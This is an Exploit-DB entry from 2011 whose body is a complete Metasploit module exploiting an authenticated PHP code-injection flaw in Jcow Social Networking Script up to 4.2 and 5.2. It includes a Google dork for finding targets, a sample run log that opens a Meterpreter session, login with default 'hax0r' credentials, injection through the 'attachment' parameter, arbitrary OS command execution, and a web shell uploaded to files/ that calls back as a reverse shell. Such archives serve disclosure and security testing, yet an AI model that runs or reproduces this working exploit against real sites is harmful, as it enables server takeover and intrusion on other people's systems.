Jcow Social Networking Script 4.2 <= 5.2 - Arbitrary Code Execution

2011-08-26T00:00:00
ID EDB-ID:17722
Type exploitdb
Reporter Aung Khant
Modified 2011-08-26T00:00:00

Description

Jcow Social Networking Script 4.2 <= 5.2 - Arbitrary Code Execution. Webapps exploit for php platform

                                        
                                            # Exploit Title: Jcow CMS 4.x:4.2 &lt;= , 5.x:5.2 &lt;= | Arbitrary Code Execution
# Google Dork: "intext: Powered by Jcow"
# Date: 2011-08-26
# Author: Aung Khant &lt;http://yehg.net, YGN Ethical Hacker Group&gt;
# Software Link: http://sourceforge.net/projects/jcow/files/jcow4/jcow.4.2.1.zip/download
# Version: 4.x:4.2 &lt;= , 5.x: 5.2 &lt;=
# Tested on: FreeBSD
# Advisory URL: http://yehg.net/lab/pr0js/advisories/[jcow_4.2,5.2]_arbitrary_code_execution

#[*] Started reverse handler on 1.2.3.4:4444
#[*] Trying to login as hax0r
#[*] Logged in successfully (cookie: bd665943297fe4bdc39ec704c21888ff)
#[*] Trying to pwn a shell
#[*] Uploading the payload: /files/h3x00rr.php
#[*] Uploaded successfully
#[*] Getting the shell
#[*] Sending stage (38553 bytes) to 5.6.7.8
#[*] Meterpreter session 1 opened (1.2.3.4:4444 -&gt; 5.6.7.8:34441) at Sat Jun 04 00:00:44 +0000 2011
#

require 'msf/core'


class Metasploit3 &lt; Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient


	def initialize(info = {})
		super(update_info(info,
			'Name'           =&gt; 'JCow CMS Remote Command 
Execution',
			'Description'    =&gt; %q{
					This module exploits a vulnerability in the JCow Social Networking CMS.
					In versions (4.x: 4.2 and lower, 5.x: 5.2 and lower), 
					authenticated members can trigger php code execution via
					"attachment" parameter.
			},
			'Author'         =&gt; [ 'Aung Khant &lt;YGN Ethical Hacker Group, http://yehg.net/&gt;' ],
			'License'        =&gt; MSF_LICENSE,
			'Version'        =&gt; '$Revision: 1 $',
			'References'     =&gt;
				[
					[ 'URL', 'http://www.jcow.net/' ],
					[ 'URL', 'http://yehg.net/lab/pr0js/advisories/[jcow_4.2,5.2]_arbitrary_code_execution' ]
				],
			'Privileged'     =&gt; false,
			'Payload'        =&gt;
				{
					'DisableNops' =&gt; true,
					'BadChars'    =&gt; "\#",
					'Space'       =&gt; 4000,
					'Compat'      =&gt;{'ConnectionType' =&gt; 'find'},
					'Keys' =&gt; ['php']			
				},
			'Platform'       =&gt; 'php',
			'Arch'           =&gt; ARCH_PHP,
			'Targets'        =&gt; [[ 'Automatic', { }]],
			'DisclosureDate' =&gt; 'Aug 26 2011',
			'DefaultTarget'  =&gt; 0))

		register_options(
			[
				OptString.new('URI', [true, "JCow directory path", "/"]),
				OptString.new('USERNAME', [ false, 'The username to authenticate as', 'hax0r' ]),
				OptString.new('PASSWORD', [ false, 'The password for the specified username','pwn3d' ]),
				OptString.new('COOKIE', [ false, 'Authenticated Cookie in face of ReCaptCha' ]),
				OptString.new('PHP', [ false, 'Arbitrary PHP code to run' ]),
				OptString.new('CMD', [ false, 'Arbitrary OS Command to run if PHP\'s os cmd execution is not' ]),
				OptString.new('SHELL', [ false, 'Get PHP Reverse Shell back to your Box'])
			], self.class)
	end

	def check
		uri = ''
		uri &lt;&lt; datastore['URI']
		uri &lt;&lt; '/' if uri[-1,1] != '/'
		res = send_request_raw(
			{
				'uri' =&gt; uri
			}, 25)

		if (res && res.body =~ /name="Generator" content="Jcow Social Networking Software. ?([0-9]\.[0-9])/)
				ver = $1
				print_status("Target Jcow version is #{ver}")

				vers = ver.split('.').map { |v| v.to_i }

				if (vers[0] == 5) and (vers[1] &lt; 3)
					return Exploit::CheckCode::Vulnerable 
				elsif (vers[0] == 4) and (vers[1] &lt; 3)
					return Exploit::CheckCode::Vulnerable 			
				elsif (vers[0] &lt; 4) 
						return Exploit::CheckCode::Vulnerable 			
				else
					return Exploit::CheckCode::Safe
				end
		end
		print_error("Unable to determine exploitability. Go 
Exploiting.")
	end
	
	def exploit
		
		uri_base    = ''
		uri_base &lt;&lt; datastore['URI']
		uri_base &lt;&lt; '/' if uri_base[-1,1] != '/'

	
		cookie = datastore['COOKIE']		
		if (cookie == nil)
			print_status("Trying to login as 
#{datastore['USERNAME']}")
			cookie = get_login_cookie(uri_base)
			if (not cookie)
				raise RuntimeError, 'Unable to login!'
			end
			print_status("Logged in successfully (cookie: 
#{cookie})")
		else
			print_status("Using authenticated cookie:  
#{cookie}")
		end
		
		if (datastore['PHP'])
			print_status("Executing PHP Code: 
#{datastore['PHP']}")
			run_code(uri_base,cookie,datastore['PHP'])
		end
		
		if (datastore['CMD'])
			print_status("Executing CMD: 
#{datastore['CMD']}")
			run_code(uri_base,cookie, datastore['CMD'],'os')
		end
		
		if (datastore['SHELL'])
			print_status("Trying to pwn a shell")
			get_reverse_shell(uri_base,cookie)
		end

	end


	def get_login_cookie(uri_base)

		cookie = nil

		res = send_request_cgi(
			{
				'method'    =&gt; 'POST',
				'uri'       =&gt; uri_base +
'?p=member/loginpost',
				'vars_post' =&gt;
					{
						'username' =&gt; 
datastore['USERNAME'],
						'password' =&gt; 
datastore['PASSWORD']
					}
			})
		if (not res or res.code != 302)
			print_error("Failed to login")
			if (res.body =~ /&lt;script type="text\/javascript" 
src="http:\/\/www.google.com\/recaptcha\/api\/challenge/)
				print_error("Recaptcha 
Enabled\r\nProvide Authenticated Cookie")
			end
			return nil
		end

        if (res.headers['Set-Cookie'] =~ /PHPSESSID=(.*);/)			
            cookie = $1
		else
			print_error("Unable to get authenticated 
cookie")
			return
        end
        
        cookie
	end

	def run_code(uri_base, cookie, code, mode='php')

		
		cmd = nil
		
		if mode != 'php'
			cmd = 'error_reporting(0);print+`' &lt;&lt; 
Rex::Text.to_hex("#{code}",prefix = "%") &lt;&lt; '`'
		else
			cmd = 'error_reporting(0);eval(' &lt;&lt;  
code.unpack("C*").collect{|x| "chr(#{x})"}.join('.') &lt;&lt; ')'
		end
		
		
		data = 
"page_id=0&page_type=u&message=hello&youtubeid=0&attachment=#{cmd};//"
		res = send_request_cgi(
			{
				'method'    =&gt; 'POST',
				'uri'       =&gt; uri_base + 
'?p=streampublish',
				'data' 		=&gt; data , 
				
				'headers'   =&gt;
					{
							 
							  'Cookie' =&gt; 
"PHPSESSID=#{cookie}"
							  
					},
			})	
		if (res)
			if (res.body.to_s.length &gt; 0)		
				is_session_expired(res.body.to_s)	
				print_status("#{mode.upcase} Command 
Output from the server:")
				print("\n" + res.body.to_s + "\n\n")
			else
				print_error("No data returned from the 
server")
			end
		else
			print_error("Connection Timeout from the 
server")
		end
		
	end
	
	def is_session_expired(pg)
		if (pg =~ /please login first/)
			raise RuntimeError, "Your Login has expired"
		end
	end
	
	def get_reverse_shell(uri_base,cookie)
	
		cmd_php = '&lt;?php ' &lt;&lt; payload.encoded &lt;&lt; ' ?&gt;'

		shell_file =  'files/' + rand_text_alphanumeric(6) &lt;&lt; '.php'
		
		shell_url = uri_base + shell_file
		
		print_status("Uploading the payload: " &lt;&lt; shell_url )
		
		encoded_shell_file = shell_file.unpack("C*").collect{|x| 
"chr(#{x})"}.join('.')
		
		encoded_payload = payload.encoded

		cmd = "file_put_contents(#{encoded_shell_file}, 
$_SERVER['HTTP_X_CMD'])"

		data = 
"page_id=0&page_type=u&message=hello&youtubeid=0&attachment=#{cmd};//"
		res = send_request_cgi(
			{
				'method'    =&gt; 'POST',
				'uri'       =&gt; uri_base +
'?p=streampublish',
				'data' 		=&gt; data , 
				
				'headers'   =&gt;
					{
							  'X-CMD' =&gt; 
cmd_php,
							  
							  'Cookie' =&gt; 
"PHPSESSID=#{cookie}"
							  
					},
			})	

		if (res)
			if (res.code.to_i &gt; 200)
				print_error("Fail to upload : 
#{res.code} #{res.body[0,500].inspect}...")
				return
			elsif (res.code == 200)	
				is_session_expired(res.body.to_s)	
			end			
		end		
		
		
		print_status("Uploaded successfully")
		print_status("Getting the shell")

		res = send_request_raw(
					{
					    'global' =&gt; true,
						'uri'    =&gt; uri_base + shell_file
						
					})
							

		handler
	
	end

end